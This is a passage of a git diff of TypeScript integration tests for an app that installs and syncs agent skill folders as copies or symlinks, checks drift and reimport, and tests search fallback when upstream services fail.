+ });
+ expect(flip.status).toBe(200);
+ const flipBody = (await flip.json()) as { hosts: string[]; sourceMovedTo?: string };
+ expect(flipBody.sourceMovedTo).toBeUndefined();
+ expect(flipBody.hosts[0]).toBe('.ok/skills');
+ expect(lstatSync(okDir).isDirectory()).toBe(true);
+ expect(lstatSync(okDir).isSymbolicLink()).toBe(false);
+ });
+
+ test('drift is PASSIVE disclosure: external rewrites are reported; an explicit re-flip wins', async () => {
+ const { lstatSync, rmSync: rm, cpSync } = await import('node:fs');
+ // Symlink mode: codex becomes a link, recorded as the EXPECTED form.
+ expect((await install(['claude', 'codex'])).status).toBe(200);
+ const flip = await fetch(`${base()}/api/skill/install`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({
+ name: 'fanout',
+ scope: 'project',
+ linkMode: true,
+ targets: ['claude', 'codex'],
+ }),
+ });
+ expect(flip.status).toBe(200);
+ const codex = join(contentDir, '.codex/skills/fanout');
+ expect(lstatSync(codex).isSymbolicLink()).toBe(true);
+
+ // An EXTERNAL tool rewrites the link as a real copy (sync-script style).
+ rm(codex, { recursive: true, force: true });
+ cpSync(join(contentDir, '.claude/skills/fanout'), codex, { recursive: true });
+ expect(lstatSync(codex).isSymbolicLink()).toBe(false);
+
+ // The list reports DRIFT for that path — and OK does NOT convert it back
+ // on its own (no background self-heal; drift is a passive disclosure).
+ const list = (await (await fetch(`${base()}/api/skills?scope=project`)).json()) as {
+ skills: Array<{ name: string; driftPaths?: string[] }>;
+ };
+ const entry = list.skills.find((s) => s.name === 'fanout');
+ expect(entry?.driftPaths).toEqual(['.codex/skills/fanout']);
+ expect(lstatSync(codex).isSymbolicLink()).toBe(false);
+
+ // An EXPLICIT re-flip is user intent and WINS: the drifted copy converts
+ // back to a symlink and the drift clears (record matches disk again).
+ const reflip = await fetch(`${base()}/api/skill/install`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({
+ name: 'fanout',
+ scope: 'project',
+ linkMode: true,
+ targets: ['claude', 'codex'],
+ }),
+ });
+ expect(reflip.status).toBe(200);
+ expect(lstatSync(codex).isSymbolicLink()).toBe(true);
+ const list2 = (await (await fetch(`${base()}/api/skills?scope=project`)).json()) as {
+ skills: Array<{ name: string; driftPaths?: string[] }>;
+ };
+ expect(list2.skills.find((s) => s.name === 'fanout')?.driftPaths).toBeUndefined();
+ });
+
+ test('a copy externally rewired as a link TO THE CANONICAL is healthy, not drift', async () => {
+ const { lstatSync, rmSync: rm, symlinkSync } = await import('node:fs');
+ // Copy mode: codex holds a COPY, recorded as the expected form.
+ expect((await installAsCopies(['claude', 'codex'])).status).toBe(200);
+ const codex = join(contentDir, '.codex/skills/fanout');
+ expect(lstatSync(codex).isSymbolicLink()).toBe(false);
+
+ // Something outside OK (a folder link↔per-skill link conversion, a sync
+ // tool) replaces the copy with a symlink RESOLVING TO THE SOURCE — same
+ // bytes, healthy known form. That must not read as "changed outside".
+ rm(codex, { recursive: true, force: true });
+ symlinkSync(join(contentDir, '.claude/skills/fanout'), codex, 'dir');
+ const list = (await (await fetch(`${base()}/api/skills?scope=project`)).json()) as {
+ skills: Array<{ name: string; driftPaths?: string[] }>;
+ };
+ expect(list.skills.find((s) => s.name === 'fanout')?.driftPaths).toBeUndefined();
+
+ // A link pointing at a DIFFERENT live skill is still drift. (A dangling
+ // link disappears from the receipts entirely — the live-path filter in
+ // readSkillPlacements — so the negative case needs a resolvable target.)
+ writeSkill(contentDir, '.agents/skills/decoy', '# Decoy');
+ rm(codex, { recursive: true, force: true });
+ symlinkSync(join(contentDir, '.agents/skills/decoy'), codex, 'dir');
+ const list2 = (await (await fetch(`${base()}/api/skills?scope=project`)).json()) as {
+ skills: Array<{ name: string; driftPaths?: string[] }>;
+ };
+ expect(list2.skills.find((s) => s.name === 'fanout')?.driftPaths).toEqual([
+ '.codex/skills/fanout',
+ ]);
+ });
+
+ test('the swap leave-behind link is drift-tracked (the .agents blind spot)', async () => {
+ const { lstatSync, rmSync: rm, cpSync } = await import('node:fs');
+ expect((await install(['claude', 'codex'])).status).toBe(200);
+ // Promote codex: .claude becomes the left-behind LINK — now recorded.
+ expect(
+ (
+ await fetch(`${base()}/api/skill/install`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({ name: 'fanout', scope: 'project', setSource: 'codex' }),
+ })
+ ).status,
+ ).toBe(200);
+ const claude = join(contentDir, '.claude/skills/fanout');
+ expect(lstatSync(claude).isSymbolicLink()).toBe(true);
+ // External tool rewrites the leave-behind link as a real copy.
+ rm(claude, { recursive: true, force: true });
+ cpSync(join(contentDir, '.codex/skills/fanout'), claude, { recursive: true });
+ const list = (await (await fetch(`${base()}/api/skills?scope=project`)).json()) as {
+ skills: Array<{ name: string; driftPaths?: string[] }>;
+ };
+ expect(list.skills.find((s) => s.name === 'fanout')?.driftPaths).toEqual([
+ '.claude/skills/fanout',
+ ]);
+ });
+
+ test('uninstall (targets []) never deletes the canonical', async () => {
+ const res = await install([]);
+ expect(res.status).toBe(200);
+ expect(existsSync(join(contentDir, '.claude/skills/fanout/SKILL.md'))).toBe(true);
+ });
+
+ test('the .agents hub is an install target; explicit copy-mode unsymlinks (lossless)', async () => {
+ const { lstatSync, realpathSync } = await import('node:fs');
+ // Check the hub: canonical (.claude) fans a copy into .agents/skills.
+ const res = await installAsCopies(['claude', 'agents']);
+ expect(res.status).toBe(200);
+ const body = (await res.json()) as { hosts: string[] };
+ expect(body.hosts.sort()).toEqual(['agents', 'claude']);
+ expect(existsSync(join(contentDir, '.agents/skills/fanout/SKILL.md'))).toBe(true);
+
+ // Once the hub holds a copy it becomes THE source (precedence-first), so
+ // symlink mode converts the EDITOR copy into the link pointing at the hub.
+ const linkRes = await fetch(`${base()}/api/skill/install`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({
+ name: 'fanout',
+ scope: 'project',
+ targets: ['claude', 'agents'],
+ linkMode: true,
+ }),
+ });
+ expect(linkRes.status).toBe(200);
+ const hub = join(contentDir, '.agents/skills/fanout');
+ const claude = join(contentDir, '.claude/skills/fanout');
+ expect(lstatSync(hub).isDirectory()).toBe(true);
+ expect(lstatSync(hub).isSymbolicLink()).toBe(false); // the source is never linkified
+ expect(lstatSync(claude).isSymbolicLink()).toBe(true);
+ expect(realpathSync(claude)).toBe(realpathSync(hub));
+
+ // ...and an EXPLICIT copy choice converts the link back (unsymlink, lossless).
+ const copyRes = await fetch(`${base()}/api/skill/install`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({
+ name: 'fanout',
+ scope: 'project',
+ targets: ['claude', 'agents'],
+ linkMode: false,
+ }),
+ });
+ expect(copyRes.status).toBe(200);
+ expect(lstatSync(claude).isSymbolicLink()).toBe(false);
+ expect(lstatSync(claude).isDirectory()).toBe(true);
+ });
+
+ test('a skill with no other location takes the symlink default', async () => {
+ const { lstatSync, realpathSync } = await import('node:fs');
+ expect((await install(['claude', 'codex'])).status).toBe(200);
+ const codex = join(contentDir, '.codex/skills/fanout');
+ expect(lstatSync(codex).isSymbolicLink()).toBe(true);
+ expect(realpathSync(codex)).toBe(realpathSync(join(contentDir, '.claude/skills/fanout')));
+ });
+
+ test('a skill whose locations are links keeps linking', async () => {
+ const { lstatSync, realpathSync } = await import('node:fs');
+ // The one input that separates "derive from the existing forms" from "derive
+ // from the location COUNT": two link locations already exist, so a count
+ // rule would call the third a copy. Its sibling pair above (0 existing →
+ // link, existing copies → copy) both agree under either rule.
+ expect((await install(['claude', 'codex'])).status).toBe(200);
+ expect((await install(['claude', 'codex', 'cursor'])).status).toBe(200);
+ const cursor = join(contentDir, '.cursor/skills/fanout');
+ expect(lstatSync(cursor).isSymbolicLink()).toBe(true);
+ expect(realpathSync(cursor)).toBe(realpathSync(join(contentDir, '.claude/skills/fanout')));
+ });
+
+ test('a skill that already holds copies keeps copying — the default never reprojects', async () => {
+ const { lstatSync } = await import('node:fs');
+ // Existing copies, recorded as copies (an install that predates the default).
+ expect((await installAsCopies(['claude', 'codex'])).status).toBe(200);
+ expect(lstatSync(join(contentDir, '.codex/skills/fanout')).isSymbolicLink()).toBe(false);
+ // Adding a THIRD location must not convert the existing copy behind the user.
+ expect((await install(['claude', 'codex', 'cursor'])).status).toBe(200);
+ expect(lstatSync(join(contentDir, '.codex/skills/fanout')).isSymbolicLink()).toBe(false);
+ expect(lstatSync(join(contentDir, '.cursor/skills/fanout')).isSymbolicLink()).toBe(false);
+ });
+
+ test('convert flips ONE location without touching its siblings', async () => {
+ const { lstatSync, realpathSync } = await import('node:fs');
+ expect((await installAsCopies(['claude', 'codex', 'cursor'])).status).toBe(200);
+ const codex = join(contentDir, '.codex/skills/fanout');
+ const cursor = join(contentDir, '.cursor/skills/fanout');
+ expect(lstatSync(codex).isSymbolicLink()).toBe(false);
+
+ const res = await fetch(`${base()}/api/skill/install`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({
+ name: 'fanout',
+ scope: 'project',
+ convert: { target: 'codex', mode: 'link' },
+ }),
+ });
+ expect(res.status).toBe(200);
+ expect(lstatSync(codex).isSymbolicLink()).toBe(true);
+ expect(realpathSync(codex)).toBe(realpathSync(join(contentDir, '.claude/skills/fanout')));
+ // The sibling copy is untouched — that bulk conversion is what this replaces.
+ expect(lstatSync(cursor).isSymbolicLink()).toBe(false);
+ // ...and back again.
+ const back = await fetch(`${base()}/api/skill/install`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({
+ name: 'fanout',
+ scope: 'project',
+ convert: { target: 'codex', mode: 'copy' },
+ }),
+ });
+ expect(back.status).toBe(200);
+ expect(lstatSync(codex).isSymbolicLink()).toBe(false);
+ expect(lstatSync(codex).isDirectory()).toBe(true);
+ });
+
+ test('convert refuses the source, a hand-edited fork, and an empty location', async () => {
+ const { writeFileSync } = await import('node:fs');
+ expect((await installAsCopies(['claude', 'codex'])).status).toBe(200);
+ const convert = (target: string, mode: string) =>
+ fetch(`${base()}/api/skill/install`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({ name: 'fanout', scope: 'project', convert: { target, mode } }),
+ });
+ // The source folder IS the skill — moving it is `source`, not a convert.
+ expect((await convert('claude', 'link')).status).toBe(400);
+ // Nothing installed there.
+ expect((await convert('cursor', 'link')).status).toBe(404);
+ // A hand-edited copy is a fork: refused, never overwritten.
+ writeFileSync(join(contentDir, '.codex/skills/fanout/SKILL.md'), '# Forked\n\nedited\n');
+ expect((await convert('codex', 'link')).status).toBe(409);
+ });
+
+ test('linkMode install symlinks the fan-out instead of copying', async () => {
+ const res = await fetch(`${base()}/api/skill/install`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({
+ name: 'fanout',
+ scope: 'project',
+ targets: ['claude', 'codex'],
+ linkMode: true,
+ }),
+ });
+ expect(res.status).toBe(200);
+ const dest = join(contentDir, '.codex/skills/fanout');
+ const { lstatSync, realpathSync } = await import('node:fs');
+ expect(lstatSync(dest).isSymbolicLink()).toBe(true);
+ expect(realpathSync(dest)).toBe(realpathSync(join(contentDir, '.claude/skills/fanout')));
+ // Preference persisted → the list entry reports linkMode.
+ const list = (await (await fetch(`${base()}/api/skills`)).json()) as {
+ skills: Array<{ name: string; linkMode?: boolean }>;
+ };
+ expect(list.skills.find((s) => s.name === 'fanout')?.linkMode).toBe(true);
+ });
+
+ test('custom placement: copy lands + discloses; never overwrites (409)', async () => {
+ const place = (mode: string) =>
+ fetch(`${base()}/api/skill/install`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({
+ name: 'fanout',
+ scope: 'project',
+ place: { dir: '.windsurf/skills', mode },
+ }),
+ });
+ const res = await place('copy');
+ expect(res.status).toBe(200);
+ const body = (await res.json()) as { placedAt: string };
+ expect(body.placedAt).toBe('.windsurf/skills/fanout');
+ expect(existsSync(join(contentDir, '.windsurf/skills/fanout/SKILL.md'))).toBe(true);
+ // Disclosed on the list entry.
+ const list = (await (await fetch(`${base()}/api/skills`)).json()) as {
+ skills: Array<{ name: string; customPlacements?: Array<{ path: string; mode: string }> }>;
+ };
+ expect(list.skills.find((s) => s.name === 'fanout')?.customPlacements).toContainEqual({
+ path: '.windsurf/skills/fanout',
+ mode: 'copy',
+ });
+ // Second placement at the same path refuses rather than overwrite.
+ expect((await place('copy')).status).toBe(409);
+ // Escapes + .ok/ are rejected.
+ const bad = await fetch(`${base()}/api/skill/install`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({
+ name: 'fanout',
+ scope: 'project',
+ place: { dir: '../outside', mode: 'copy' },
+ }),
+ });
+ expect(bad.status).toBe(400);
+ });
+
+ test('editing the canonical re-syncs OK-recorded copies (forward re-sync)', async () => {
+ // Fan a COPY out to codex (recorded with its hash), then edit the canonical.
+ const res = await install(['claude', 'codex']);
+ expect(res.status).toBe(200);
+ const canonicalMd = join(contentDir, '.claude/skills/fanout/SKILL.md');
+ const copyMd = join(contentDir, '.codex/skills/fanout/SKILL.md');
+ const { readFileSync: rf, writeFileSync: wf } = await import('node:fs');
+ wf(canonicalMd, rf(canonicalMd, 'utf-8').replace('# Canonical', '# Canonical EDITED'));
+ // The watcher debounce re-syncs the recorded copy (hash-gated, lossless).
+ await pollUntil(() => rf(copyMd, 'utf-8').includes('# Canonical EDITED'), 15000);
+ });
+});
+
+describe('GLOBAL in-place skills (R12) — native user-dir skills are first-class', () => {
+ let contentDir: string;
+ let tmpHome: string;
+ let server: TestServer;
+
+ beforeEach(async () => {
+ contentDir = mkdtempSync(join(tmpdir(), 'ok-inplace-glist-'));
+ tmpHome = mkdtempSync(join(tmpdir(), 'ok-inplace-ghome-'));
+ writeSkill(tmpHome, '.claude/skills/globby', '# Native global');
+ server = await createTestServer({ contentDir, configHomedirOverride: tmpHome });
+ });
+ afterEach(async () => {
+ await server.cleanup();
+ rmSync(contentDir, { recursive: true, force: true });
+ rmSync(tmpHome, { recursive: true, force: true });
+ });
+
+ const base = () => `http://127.0.0.1:${server.port}`;
+
+ test('lists as a global entry at its real ~-relative path, and reads resolve it', async () => {
+ const listRes = await fetch(`${base()}/api/skills`);
+ expect(listRes.status).toBe(200);
+ const { skills } = (await listRes.json()) as {
+ skills: Array<{ name: string; scope: string; path: string; hosts: string[] }>;
+ };
+ const globby = skills.find((s) => s.name === 'globby');
+ expect(globby?.scope).toBe('global');
+ expect(globby?.path).toBe('.claude/skills/globby/SKILL.md');
+ expect(globby?.hosts).toEqual(['claude']);
+
+ // GET /api/skill resolves the native dir (no ~/.ok/skills entry exists).
+ const getRes = await fetch(`${base()}/api/skill?name=globby&scope=global`);
+ expect(getRes.status).toBe(200);
+ const detail = (await getRes.json()) as { skill: { body: string; path: string } };
+ expect(detail.skill.body).toContain('# Native global');
+
+ // And it no longer double-lists as a detected row.
+ const installedRes = await fetch(`${base()}/api/skills/installed`);
+ const installed = (await installedRes.json()) as {
+ skills: Array<{ name: string; provenance: { scope?: string } }>;
+ };
+ expect(
+ installed.skills.filter((s) => s.provenance.scope !== 'project').map((s) => s.name),
+ ).not.toContain('globby');
+ });
+});
+
+describe('GLOBAL provenance + reimport (store retirement, part 2)', () => {
+ let contentDir: string;
+ let tmpHome: string;
+ let upstreamDir: string;
+ let server: TestServer;
+
+ beforeEach(async () => {
+ contentDir = mkdtempSync(join(tmpdir(), 'ok-greimport-c-'));
+ tmpHome = mkdtempSync(join(tmpdir(), 'ok-greimport-h-'));
+ upstreamDir = mkdtempSync(join(tmpdir(), 'ok-greimport-up-'));
+ // A native global skill + its recorded provenance pointing at a LOCAL
+ // upstream dir (hermetic — the reimport path treats it like any source).
+ writeSkill(tmpHome, '.claude/skills/glosk', '# Seeded v1');
+ writeSkill(upstreamDir, 'glosk', '# Upstream v2 — changed');
+ const { mkdirSync: mkd } = await import('node:fs');
+ mkd(join(tmpHome, '.ok'), { recursive: true });
+ writeFileSync(
+ join(tmpHome, '.ok', 'skills-lock.json'),
+ JSON.stringify({
+ schema: 1,
+ skills: {
+ glosk: {
+ source: join(upstreamDir, 'glosk'),
+ contentHash: 'stale-hash-forces-update',
+ importedAt: new Date().toISOString(),
+ },
+ },
+ }),
+ );
+ server = await createTestServer({ contentDir, configHomedirOverride: tmpHome });
+ });
+ afterEach(async () => {
+ await server.cleanup();
+ rmSync(contentDir, { recursive: true, force: true });
+ rmSync(tmpHome, { recursive: true, force: true });
+ rmSync(upstreamDir, { recursive: true, force: true });
+ });
+
+ const base = () => `http://127.0.0.1:${server.port}`;
+
+ test('global entries surface origin from ~/.ok/skills-lock.json', async () => {
+ const list = (await (await fetch(`${base()}/api/skills`)).json()) as {
+ skills: Array<{ name: string; scope: string; origin?: { source: string } }>;
+ };
+ const entry = list.skills.find((s) => s.scope === 'global' && s.name === 'glosk');
+ expect(entry?.origin?.source).toContain(upstreamDir);
+ });
+
+ test('reimport works at GLOBAL scope: rewrites the native dir in place from the recorded source', async () => {
+ const res = await fetch(`${base()}/api/skill/reimport`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({ name: 'glosk', scope: 'global' }),
+ });
+ expect(res.status).toBe(200);
+ const body = (await res.json()) as { updated: boolean };
+ expect(body.updated).toBe(true);
+ const { readFileSync: rf } = await import('node:fs');
+ expect(rf(join(tmpHome, '.claude/skills/glosk/SKILL.md'), 'utf-8')).toContain(
+ 'Upstream v2 — changed',
+ );
+ // Lock refreshed with the new content hash.
+ const lock = JSON.parse(rf(join(tmpHome, '.ok', 'skills-lock.json'), 'utf-8')) as {
+ skills: Record<string, { contentHash: string }>;
+ };
+ expect(lock.skills.glosk?.contentHash).not.toBe('stale-hash-forces-update');
+ });
+});
+
+describe('folder-level verbs via PUT /api/skill-targets (slice 2)', () => {
+ let contentDir: string;
+ let server: TestServer;
+
+ beforeEach(async () => {
+ contentDir = mkdtempSync(join(tmpdir(), 'ok-folder-verbs-'));
+ writeSkill(contentDir, '.agents/skills/shared', '# Shared');
+ writeSkill(contentDir, '.cursor/skills/own-only', '# Mine');
+ server = await createTestServer({ contentDir });
+ });
+ afterEach(async () => {
+ await server.cleanup();
+ rmSync(contentDir, { recursive: true, force: true });
+ });
+
+ const base = () => `http://127.0.0.1:${server.port}`;
+ const putFolder = (action: Record<string, unknown>) =>
+ fetch(`${base()}/api/skill-targets`, {
+ method: 'PUT',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({ folderAction: action }),
+ });
+
+ test('link merges own-only skills into the target and swaps in a symlink; unlink materializes per-skill links', async () => {
+ const { lstatSync: lstat, realpathSync: realpath } = await import('node:fs');
+ const linkRes = await putFolder({
+ scope: 'project',
+ root: '.cursor/skills',
+ action: 'link',
+ target: '.agents/skills',
+ });
+ expect(linkRes.status).toBe(200);
+ const linkBody = (await linkRes.json()) as { folder?: { moved: string[] } };
+ expect(linkBody.folder?.moved).toEqual(['own-only']);
+ expect(lstat(join(contentDir, '.cursor/skills')).isSymbolicLink()).toBe(true);
+ expect(existsSync(join(contentDir, '.agents/skills/own-only/SKILL.md'))).toBe(true);
+
+ // GET reports the linked state (project scope).
+ const getRes = await fetch(`${base()}/api/skill-targets`);
+ const got = (await getRes.json()) as {
+ folders?: Array<{ scope: string; host: string; state: string; target?: string }>;
+ };
+ const cursorRow = got.folders?.find((f) => f.scope === 'project' && f.host === 'cursor');
+ expect(cursorRow?.state).toBe('linked');
+ expect(cursorRow?.target).toBe('.agents/skills');
+
+ // Unlink: back to a real dir of per-skill symlinks (lossless).
+ const unlinkRes = await putFolder({
+ scope: 'project',
+ root: '.cursor/skills',
+ action: 'unlink',
+ });
+ expect(unlinkRes.status).toBe(200);
+ expect(lstat(join(contentDir, '.cursor/skills')).isSymbolicLink()).toBe(false);
+ expect(lstat(join(contentDir, '.cursor/skills/shared')).isSymbolicLink()).toBe(true);
+ expect(realpath(join(contentDir, '.cursor/skills/shared'))).toBe(
+ realpath(join(contentDir, '.agents/skills/shared')),
+ );
+ });
+
+ test('folder-link receipt vs disk: external rewrite renders passive DRIFT; explicit re-link wins', async () => {
+ const { lstatSync: lstat } = await import('node:fs');
+ const getFolders = async () => {
+ const r = await fetch(`${base()}/api/skill-targets`);
+ const g = (await r.json()) as {
+ folders?: Array<{
+ scope: string;
+ host: string;
+ state: string;
+ drift?: true;
+ expected?: string;
+ }>;
+ };
+ return g.folders ?? [];
+ };
+
+ // Link records the receipt — no drift while disk matches.
+ expect(
+ (
+ await putFolder({
+ scope: 'project',
+ root: '.cursor/skills',
+ action: 'link',
+ target: '.agents/skills',
+ })
+ ).status,
+ ).toBe(200);
+ let cursor = (await getFolders()).find((f) => f.scope === 'project' && f.host === 'cursor');
+ expect(cursor?.drift).toBeUndefined();
+
+ // An EXTERNAL tool deletes the symlink and writes a real dir (sync-script
+ // style). OK does NOT self-heal; the row discloses drift passively.
+ rmSync(join(contentDir, '.cursor/skills'), { force: true });
+ mkdirSync(join(contentDir, '.cursor/skills'), { recursive: true });
+ cursor = (await getFolders()).find((f) => f.scope === 'project' && f.host === 'cursor');
+ expect(cursor?.state).toBe('own');
+ expect(cursor?.drift).toBe(true);
+ expect(cursor?.expected).toBe('link → .agents/skills');
+
+ // The next explicit verb WINS and refreshes the receipt — drift clears.
+ expect(
+ (
+ await putFolder({
+ scope: 'project',
+ root: '.cursor/skills',
+ action: 'link',
+ target: '.agents/skills',
+ })
+ ).status,
+ ).toBe(200);
+ expect(lstat(join(contentDir, '.cursor/skills')).isSymbolicLink()).toBe(true);
+ cursor = (await getFolders()).find((f) => f.scope === 'project' && f.host === 'cursor');
+ expect(cursor?.drift).toBeUndefined();
+ });
+
+ test('a conflicting bundle rejects the link with 409 and leaves both folders untouched', async () => {
+ writeSkill(contentDir, '.cursor/skills/shared', '# DIFFERENT bytes');
+ const res = await putFolder({
+ scope: 'project',
+ root: '.cursor/skills',
+ action: 'link',
+ target: '.agents/skills',
+ });
+ expect(res.status).toBe(409);
+ const { lstatSync: lstat } = await import('node:fs');
+ expect(lstat(join(contentDir, '.cursor/skills')).isSymbolicLink()).toBe(false);
+ expect(existsSync(join(contentDir, '.cursor/skills/own-only/SKILL.md'))).toBe(true);
+ });
+
+ test('ledger-known custom roots are folder rows AND valid link targets', async () => {
+ // Record a custom placement so the ledger knows `.tim/skills`.
+ const place = await fetch(`${base()}/api/skill/install`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({
+ name: 'shared',
+ scope: 'project',
+ place: { dir: '.tim/skills', mode: 'copy' },
+ }),
+ });
+ expect(place.status).toBe(200);
+
+ const got = (await (await fetch(`${base()}/api/skill-targets`)).json()) as {
+ folders?: Array<{ scope: string; host: string; root: string; state: string }>;
+ };
+ const timRow = got.folders?.find((f) => f.scope === 'project' && f.root === '.tim/skills');
+ expect(timRow?.state).toBe('own');
+
+ // A custom root is a first-class LINK target (no root is privileged).
+ const res = await putFolder({
+ scope: 'project',
+ root: '.cursor/skills',
+ action: 'link',
+ target: '.tim/skills',
+ });
+ expect(res.status).toBe(200);
+ const { lstatSync: lstat, realpathSync: realpath } = await import('node:fs');
+ expect(lstat(join(contentDir, '.cursor/skills')).isSymbolicLink()).toBe(true);
+ expect(realpath(join(contentDir, '.cursor/skills'))).toBe(
+ realpath(join(contentDir, '.tim/skills')),
+ );
+ });
+
+ test('add-root declares an EMPTY custom root that rows and link-targets immediately', async () => {
+ const add = await putFolder({ scope: 'project', root: '.myteam/skills', action: 'add-root' });
+ expect(add.status).toBe(200);
+
+ const got = (await (await fetch(`${base()}/api/skill-targets`)).json()) as {
+ folders?: Array<{ scope: string; root: string; state: string }>;
+ };
+ const row = got.folders?.find((f) => f.scope === 'project' && f.root === '.myteam/skills');
+ expect(row?.state).toBe('absent');
+
+ // Immediately linkable as a target (created on link).
+ const res = await putFolder({
+ scope: 'project',
+ root: '.cursor/skills',
+ action: 'link',
+ target: '.myteam/skills',
+ });
+ expect(res.status).toBe(200);
+ const { lstatSync: lstat } = await import('node:fs');
+ expect(lstat(join(contentDir, '.cursor/skills')).isSymbolicLink()).toBe(true);
+ });
+
+ test('add-root rejects traversal/absolute paths', async () => {
+ for (const bad of ['../evil', '/abs/skills', '']) {
+ const res = await putFolder({ scope: 'project', root: bad, action: 'add-root' });
+ expect(res.status).toBe(400);
+ }
+ });
+
+ test('non-standard roots are rejected', async () => {
+ const res = await putFolder({
+ scope: 'project',
+ root: '.evil/../skills',
+ action: 'link',
+ target: '.agents/skills',
+ });
+ expect(res.status).toBe(400);
+ });
+});
diff --git a/packages/app/tests/integration/skills-search-degraded.test.ts b/packages/app/tests/integration/skills-search-degraded.test.ts
new file mode 100644
index 000000000..3a5324697
--- /dev/null
+++ b/packages/app/tests/integration/skills-search-degraded.test.ts
@@ -0,0 +1,71 @@
+/**
+ * `GET /api/skills/search` when the upstreams refuse to answer.
+ *
+ * The distinction under test is "we could not answer" vs "there is no such
+ * skill". skills.sh failing is recoverable — GitHub topic search takes over and
+ * the client shows a degraded banner. GitHub failing too is NOT: it used to
+ * report an empty 200, which the UI renders as "No skills found", telling the
+ * user the skill does not exist when both backends were merely rate-limited.
+ */
+import { afterEach, beforeEach, describe, expect, test } from 'vitest';
+import { createTestServer, type TestServer } from './test-harness.ts';
+
+let server: TestServer;
+const realFetch = globalThis.fetch;
+
+/** Route upstream calls to `handler`; everything else hits the real server. */
+function stubUpstreams(handler: (url: string) => Response | null): void {
+ globalThis.fetch = (async (input: string | URL | Request, init?: RequestInit) => {
+ const url = typeof input === 'string' ? input : input instanceof URL ? input.href : input.url;
+ if (url.includes('skills.sh') || url.includes('api.github.com')) {
+ const stubbed = handler(url);
+ if (stubbed) return stubbed;
+ }
+ return realFetch(input as Parameters<typeof realFetch>[0], init);
+ }) as typeof fetch;
+}
+
+beforeEach(async () => {
+ server = await createTestServer();
+});
+afterEach(async () => {
+ globalThis.fetch = realFetch;
+ await server.cleanup();
+});
+
+const search = (q: string) =>
+ realFetch(`http://127.0.0.1:${server.port}/api/skills/search?q=${encodeURIComponent(q)}`);
+
+describe('GET /api/skills/search — both upstreams unavailable', () => {
+ test('a rate-limited GitHub fallback is a 502, not an empty result set', async () => {
+ stubUpstreams((url) =>
+ url.includes('api.github.com')
+ ? new Response('{"message":"API rate limit exceeded"}', { status: 403 })
+ : new Response('upstream down', { status: 503 }),
+ );
+
+ const res = await search('grill');
+
+ expect(res.status).toBe(502);
+ const body = (await res.json()) as { type?: string };
+ expect(body.type).toBe('urn:ok:error:internal-server-error');
+ });
+
+ test('skills.sh alone failing still degrades to GitHub rather than erroring', async () => {
+ stubUpstreams((url) =>
+ url.includes('api.github.com')
+ ? new Response(JSON.stringify({ items: [] }), {
+ status: 200,
+ headers: { 'content-type': 'application/json' },
+ })
+ : new Response('upstream down', { status: 503 }),
+ );
+
+ const res = await search('grill');
+
+ expect(res.status).toBe(200);
+ const body = (await res.json()) as { backend?: string; degraded?: boolean };
+ expect(body.backend).toBe('github-fallback');
+ expect(body.degraded).toBe(true);
+ });
+});
diff --git a/packages/app/tests/integration/test-script-invariants.test.ts b/packages/app/tests/integration/test-script-invariants.test.ts
index 3de2d5756..49b53e37f 100644
--- a/packages/app/tests/integration/test-script-invariants.test.ts
+++ b/packages/app/tests/integration/test-script-invariants.test.ts
@@ -64,10 +64,10 @@ describe('Tier-3 substrate-additive contract — package.json + vitest config in
expect(appVitestConfig.ssr.resolve.conditions).toContain('development');
});
- test('unit-tier vitest config excludes **/*.dom.test.tsx (Tier-3 stays out of the unit run)', () => {
+ test('unit-tier vitest config excludes **/*.dom.test.ts?(x) (Tier-3 stays out of the unit run)', () => {
// The bun `--path-ignore-patterns='**/*.dom.test.tsx'` flag is now the
// config `test.exclude` glob; the dom tier runs in its own jsdom project.
- expect(appVitestConfig.test.exclude).toContain('**/*.dom.test.tsx');
+ expect(appVitestConfig.test.exclude).toContain('**/*.dom.test.ts?(x)');
});
test('unit-tier vitest config runs in the node environment (no jsdom in the unit substrate)', () => {
@@ -103,8 +103,8 @@ describe('Tier-3 substrate-additive contract — package.json + vitest config in
expect(appDomVitestConfig.ssr.resolve.conditions).toContain('development');
});
- test('dom project scopes include to the .dom.test.tsx routing suffix', () => {
- expect(appDomVitestConfig.test.include).toEqual(['**/*.dom.test.tsx']);
+ test('dom project scopes include to the .dom.test suffix', () => {
+ expect(appDomVitestConfig.test.include).toEqual(['**/*.dom.test.ts?(x)']);
});
test('dom project sets isolate:true for a fresh per-file module registry', () => {
diff --git a/packages/app/tests/stress/file-tree-create.e2e.ts b/packages/app/tests/stress/file-tree-create.e2e.ts
index bff0670ea..7796d10c0 100644
--- a/packages/app/tests/stress/file-tree-create.e2e.ts
+++ b/packages/app/tests/stress/file-tree-create.e2e.ts
@@ -325,85 +325,6 @@ test.describe('FileTree sidebar create', () => {
test.describe.configure({ mode: 'serial' });
for (const scenario of [
- {
- kind: 'file' as const,
- menuItemName: 'New file',
- defaultName: 'Untitled',
- renameInputName: /rename Untitled\.md/i,
- renamedPath: 'zz-root-menu-file',
- renamedTreeItem: 'zz-root-menu-file.md',
- },
- {
- kind: 'folder' as const,
- menuItemName: 'New folder',
- defaultName: 'New Folder',
- renameInputName: /rename New Folder/i,
- renamedPath: 'zz-root-menu-folder',
- renamedTreeItem: 'zz-root-menu-folder',
- },
- ]) {
- test(`project-root context menu keeps new ${scenario.kind} rename focused`, async ({
- page,
- workerServer,
- api,
- }) => {
- await deletePathIfExists(workerServer.baseURL, scenario.kind, scenario.defaultName);
